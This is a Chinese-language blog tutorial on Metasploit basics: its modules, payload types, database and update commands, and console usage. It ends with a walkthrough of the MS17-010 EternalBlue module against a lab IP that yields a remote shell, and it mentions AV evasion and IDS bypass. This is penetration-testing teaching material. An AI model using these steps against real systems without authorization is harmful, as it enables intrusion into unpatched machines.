MSF(美少妇)框架的基本使用

1. 什么是MSF框架

Metasploit就是一个漏洞框架。它的全称叫做The Metasploit Framework,简称MSF

Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。

它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当 H.D. Moore2003 年发布 Metasploit 时,

计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击

那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为

Metasploit 团队一直都在努力开发各种攻击工具,并将它们贡献给所有 Metasploit 用户

访问官网: https://www.metasploit.com/

image-20201222185116984

Metasploit 版本

社区版:集成在 kali 系统中,目前基于社区力量维护。早期版本需要先启动数据库再启动 MSF,从msf5版本以

后已经集成到 msf 里面了,可以直接一键启动。

Pro 版:企业版(收费,但可以试用)的几个优势

1、企业版出的检测报告非常强大,给客户汇报起来很方便。

2、AV 免杀,社区版的免杀大家都知道了,但是企业级的免杀他们说过可以达到百分之九十甚至百分之百。

3、IDS/IPS 绕过(入侵检测系统/入侵防御系统)

4、VPN Pivotin

Metasploit架构

1、REX:基础功能库,用于完成日常基本任务,无需人工手动编码实现,处理 socket 连接访问,协 议应答

(http/SSL/SMB 等),编码转换(XOR,Base64,Unicode)

2、模块: 5.0 之后就增加了个 evasion 模块,现在一共是 7 个模块。

3、插件:插件可以调用外部一些渗透测试工具,例如:load nessus 就可以调用 nessus 扫描软件。

4、接口:有 msfconsole 控制终端、msfcli 命令行、msfgui 图形化界面、armitage 图形化界面和 msfapi 远程

​ 调用接口。

5、功能程序: metasploit 还开发了一些可以直接运行的命令,比如 msfpayload、msfencode 以及

​ msfvenom。

2. 为什么要有MSF框架

渗透测试者的困扰:在众多漏洞的工具中,不知道如何选择。认为需要掌握数百个工具软件,上千个命令参

数,实在记不住。而且有的工具只能利用一些老的漏洞,对新出现的漏洞是没有用的,你很有可能要针对这个新的

漏洞再学一款新的工具,这样就要花费很多时间去学习新工具的使用,及其浪费时间,而且新出现的漏洞

POC/EXP 有不同的运行环境要求,准备工作繁琐。如果能统一就好了,于是 Metasploit 就产生了。 你可以把

msf理解成一个强大的,经常维护更新的军火库

image-20201222191337148

POC,全称”Proof of Concept”,中文“概念验证”,常指一段漏洞证明的代码,用来验证漏洞的真实性

EXP,全称”Exploit”,中文“利用”,指利用系统漏洞进行攻击的动作

3. MSF框架怎么用

3.1 启动MSF

启动命令

(root💀kali)-[~]
└─# msfconsole 

当加载完成后会默认出现以下画面,字符图是随机的,每次都不一样

image-20201222200436866

命令补充:

# 查看msf版本信息
┌──(root💀kali)-[~]
└─# msfconsole -v      
Framework Version: 6.0.22-dev

# -q是指quite , 静默输出 , 不会打印banner信息
┌──(root💀kali)-[~]
└─# msfconsole -q

启动补充 :

msf5版本以前启动 Metasploit 框架需要运行 Postgresql 数据库,msf5以后只要运行 Metasploit 时都会自动启

动 Postgresql 数据库。如果数据库没启动的话,可以手动开启,下面时管理数据库的一些命令。

 root@kali:~# netstat -pantu | grep 5432          查看数据库是否被启动                 

 root@kali:~# systemctl start postgresql              手动启动数据库                          
 root@kali:~# systemctl enable postgresql           设置成开机启动数据库 

 msfdb init                                                            #启动并初始化数据库
 msfdb reinit                                                         #删除并重新初始化数据库
 msfdb delete                                                       #删除数据库并停止使用它 
 msfdb start                                                          #启动数据库 
 msfdb stop                                                          #停止数据库 
 msfdb status                                                       #检查服务状态 
 msfdb run                                                           #启动数据库并运行msfconsole 
 
 Msfconsole 接口启动命令:最流行的用户接口,几乎可以使用全部 MSF 功能,控制台命令支持 TAB 自动补全,支持外部命令的执行(系统命令等) 

3.0 更新MSF

很有可能你当前kali系统里面的msf框架不是最新版本的,如果想要更新msf,请依次执行下面命令

# 更换kali自带的源,改为国内的源,这样下载比较快

# 编辑源文件
vim  /etc/apt/sources.list

# 添加中科大源
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib

image-20201222193805811

# 更新软件包
apt-get update         # 更新一下软件包的数据库,不进行软件的更新

# 更新msf框架
apt-get  install metasploit-framework

注意:如果更新完msf出现以下问题

root@kaliew:~# msfconsole 

Could not find reline-0.1.5 in any of the sources

Run   bundle install  to install missing gems.

解决方法

root@kaliew:~# sudo gem install bundler

root@kaliew:~# bundle update celluloid

3.3 退出MSF

# 退出msf框架
msf6 > exit

4. MSF的目录结构

image-20201222201932234

MSF在kali上存放目录:/usr/share/metasploit-framework/

image-20201222202145261

modules目录下就是我们常用的技术功能模块

┌──(root💀kali)-[/usr/share/metasploit-framework]
└─# cd modules                         
                                                                                                                                                             
┌──(root💀kali)-[/usr/share/metasploit-framework/modules]
└─# ls
auxiliary  encoders  evasion  exploits  nops  payloads  post

技术功能模块分类

1、Auxiliary 负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和 Dos 攻击等功能的辅助模块

2、Exploits 主要包含了传说中的exp、0day、各种漏洞利用的脚本。主要的攻击代码全在这里

​ 利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)

3、Payloads 这个单词翻译过来叫载荷:是攻击者发送给目标系统执行的指令(不包含exploits攻击阶段),

payloads主要是在目标主机执行的,而exploits是在本地机执行作用于目标机。

payload 分为 3 种类型 ,分别是 singles、stages 和 stagers。shellcode 是特殊的 payload,用于拿shell

  • singles:all-in-one。完整的 payload,这些 payload 都是一体化的,不需要依赖外部的库和包。

  • stagers:目标计算机内存有限时,先传输一个较小的 payload 用于建立连接

  • stages:利用 stagers 建立的连接下载后续 payload

4、Encoders 各种编码工具 , 对 payload 进行加密 , 用于躲过入侵检测和过滤系统

5、Nops NOP (No Operation or Next Operation) sled,由于IDS/IPS会检查数据包中不规则的数据,所以在

某些场合下(比如针对溢出攻击),某些特殊的滑行字符串(NOPS x90x90...)则会因为被拦截而导致攻击失效,所以此

时需要修改exploit中的NOPs.nops文件夹下的东西会在payload生成时用到(后面会有介绍)。比如我们打开php的

NOPS生成脚本,就会发现它只是返回了指定长度的空格而已。(不理解没关系)

6、Post 这个目录里放着msf 的exploits执行成功后,向目标机发送的一些功能性指令比如:提权,获取hash等

7、Evasion 创建木马文件,个人感觉相当于 msfvenom 的一个子功能的存在

5. MSF基本命令

5.1 help

当你刚进入msf终端时,不知道有哪些命令可以使用,那么你可以用help/?命令查看msf的命令都有哪些,以及解释

msf6 > help

image-20201223145502685

显示某一命令的用法

msf6 > help banner
msf6 > ? banner       # ? 和命令中间是有空格的

image-20201223145747770

5.2 banner

查看当前msf的版本信息和模块数量

msf6 > banner

image-20201223145524868

搜索模块,例:seach ms17-010

msf6 > search ms17-010

image-20201223150216646

5.4 use

search 找到模块后,用 use 使用模块

msf6 > use 2

image-20201223150419184

info 显示一个或多个模块的信息,以下为部分截图

image-20201223150631567

用 use 使用一个模块后,可以使用 show options 查看我们需要配置的选项

image-20201223151337259

set/setg: 设置参数,比如要渗透的主机 IP、payload 等。我们可以用 show missing 查看没有设

置的参数 ; setg 是设置全局变量,避免每个模块都要输入相同的参数

unset/unsetg: 取消设置参数。unsetg 是取消设置的全局变量

check: 检查目标是否真的存在这个漏洞,大部分模块没有 check 功能

run/exploit: 攻击

session: 建立会话

back: 返回上一级

6. 利用ms17-010漏洞演示

就是之前的永恒之蓝,也就是新闻上报道的比特币勒索病毒

0、在kali中打开msf框架

msfconsole

1、查找 ms08-067 漏洞模块

msf6 > search ms17-010

image-20201223154342718

2、选择模块

msf6 > use 2 

image-20201223154452366

msf6 > show options

image-20201223154622992

3、配置RHOST主机IP地址、LHOST和payload

msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.16.186
rhosts => 192.168.16.186

image-20201223154954860

LHOST默认就是当前本机的IP地址,如果没有设置,可以手动设置,在最新版的msf中payload也是自动设置反向

链接(肉鸡自动来连接我们的主机)

4、发起攻击

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

image-20201223155914382

攻击成功后,直接获得目标主机的 Shell

5、执行命令测试

shell
echo > daociyiyou.txt

image-20201223160156403

查看肉鸡

image-20201223160245107

posted @ 2021-03-01 17:39  Mn猿  阅读(2692)  评论(0编辑  收藏  举报